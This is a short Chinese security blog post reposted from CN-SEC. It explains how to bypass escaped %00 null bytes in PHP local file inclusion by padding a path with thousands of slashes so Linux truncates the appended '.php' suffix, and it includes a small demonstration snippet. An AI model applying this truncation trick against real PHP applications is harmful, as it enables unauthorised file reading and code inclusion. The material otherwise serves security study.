[Tips]关于PHP的本地包含 's

admin 2017年4月23日06:59:40评论447 views字数 378阅读1分15秒阅读模式
摘要

Author: Ryat利用本地包含时常常需要用%00来截断后面的字符串,但在GPC为ON时%00是会被转义的,那么还有其他方法么?

Author: Ryat

利用本地包含时常常需要用%00来截断后面的字符串,但在GPC为ON时%00是会被转义的,那么还有其他方法么?

其实以前就有人提到过用一定数量的/突破操作系统对文件名的长度限制来截断后面的字符串,详见:http://cloie.it580.com/?p=51

文里提到只可以在WIN下利用,其实部分Linux主机下也可以,只是/的数量要更多些(要使文件路径名长度大于4096字节),看看下面的代码片断:

<?php
$a=”;
for($i=0;$i<=4071;$i++) {
$a .= ‘/’;
}
$a = ‘test.txt’.$a;                //完整的路径为/var/www/test/test.txt
require_once($a.’.php’);
?>
在Linux环境下测试,你会发现’.php’被截断了,成功的包含了test.txt:)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月23日06:59:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Tips]关于PHP的本地包含 'shttps://cn-sec.com/archives/45449.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息